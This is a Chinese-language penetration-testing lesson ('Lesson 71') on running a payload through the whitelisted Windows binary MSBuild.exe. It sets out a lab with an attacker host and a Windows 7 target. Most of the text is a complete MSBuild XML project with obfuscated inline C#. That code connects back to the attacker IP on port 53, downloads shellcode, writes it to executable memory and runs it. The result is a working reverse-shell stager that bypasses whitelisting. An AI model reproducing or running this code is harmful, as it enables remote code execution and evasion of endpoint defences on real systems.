第七十一课：基于白名单Msbuild.exe执行payload第一季
MSBuild 是 Microsoft Build Engine 的缩写，代表 Microsoft 和 Visual Studio的新的生成平台。MSBuild在如何处理和生成软件方面是完全透明的，使开发人员能够在未安装Visual Studio的生成实验室环境中组织和生成产品。
MSBuild 引入了一种新的基于 XML的项目文件格式，这种格式容易理解、易于扩展并且完全受 Microsoft 支持。MSBuild项目文件的格式使开发人员能够充分描述哪些项需要生成，以及如何利用不同的平台和配置生成这些项。
说明：Msbuild.exe所在路径没有被系统添加PATH环境变量中，因此，Msbuild命令无法识别。
基于白名单MSBuild.exe配置payload：
Windows 7默认位置为：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
攻击机：192.168.1.4 Debian
靶机： 192.168.1.3 Windows 7
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe Micropoor.xml
注：x86 payload
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!‐‐ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj Micropoor ‐‐>
<Target Name="iJEKHyTEjyCU">
<xUokfh />
</Target>
<UsingTask
TaskName="xUokfh"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
public class xUokfh : Task, ITask {
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 ogephG,UInt32 fZZrvQ, UInt32 nDfrBaiPvDyeP, UInt32 LWITkrW);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 qEVoJxknom, UInt32 gZyJBJWYQsnXkWe, UInt32 jyIPELfKQYEVZM,IntPtr adztSHGJiurGO, UInt32 vjSCprCJ, ref UInt32 KbPukprMQXUp);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr wVCIQGmqjONiM, UInt32 DFgVrE);
static byte[] VYcZlUehuq(string IJBRrBqhigjGAx, int XBUCexXIrGIEpe) {
IPEndPoint DRHsPzS = new IPEndPoint(IPAddress.Parse(IJBRrBqhigjGAx), XBUCexXIrGIEpe);
Socket zCoDOd = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { zCoDOd.Connect(DRHsPzS); }
catch { return null;}
byte[] OCrGofbbWRVsFEl = new byte[4];
zCoDOd.Receive(OCrGofbbWRVsFEl, 4, 0);
int auQJTjyxYw = BitConverter.ToInt32(OCrGofbbWRVsFEl, 0);
byte[] MlhacMDOKUAfvMX = new byte[auQJTjyxYw + 5];
int GFtbdD = 0;
while (GFtbdD < auQJTjyxYw)
{ GFtbdD += zCoDOd.Receive(MlhacMDOKUAfvMX, GFtbdD + 5, (auQJTjyxYw ‐ GFtbdD) < 4096 ? (auQJTjyxYw ‐ GFtbdD) : 4096, 0);}
byte[] YqBRpsmDUT = BitConverter.GetBytes((int)zCoDOd.Handle);
Array.Copy(YqBRpsmDUT, 0, MlhacMDOKUAfvMX, 1, 4); MlhacMDOKUAfvMX[0] = 0xBF;
return MlhacMDOKUAfvMX;}
static void NkoqFHncrcX(byte[] qLAvbAtan) {
if (qLAvbAtan != null) {
UInt32 jrYMBRkOAnqTqx = VirtualAlloc(0, (UInt32)qLAvbAtan.Length, 0x1000, 0x40);
Marshal.Copy(qLAvbAtan, 0, (IntPtr)(jrYMBRkOAnqTqx), qLAvbAtan.Length);
IntPtr WCUZoviZi = IntPtr.Zero;
UInt32 JhtJOypMKo = 0;
IntPtr UxebOmhhPw = IntPtr.Zero;
WCUZoviZi = CreateThread(0, 0, jrYMBRkOAnqTqx, UxebOmhhPw, 0, ref JhtJOypMKo);
WaitForSingleObject(WCUZoviZi, 0xFFFFFFFF); }}
public override bool Execute()
{
byte[] uABVbNXmhr = null; uABVbNXmhr = VYcZlUehuq("192.168.1.4", 53);
NkoqFHncrcX(uABVbNXmhr);
return true; } }
]]>
</Code>
</Task>
</UsingTask>
</Project>
Micropoor
Last modified 3yr ago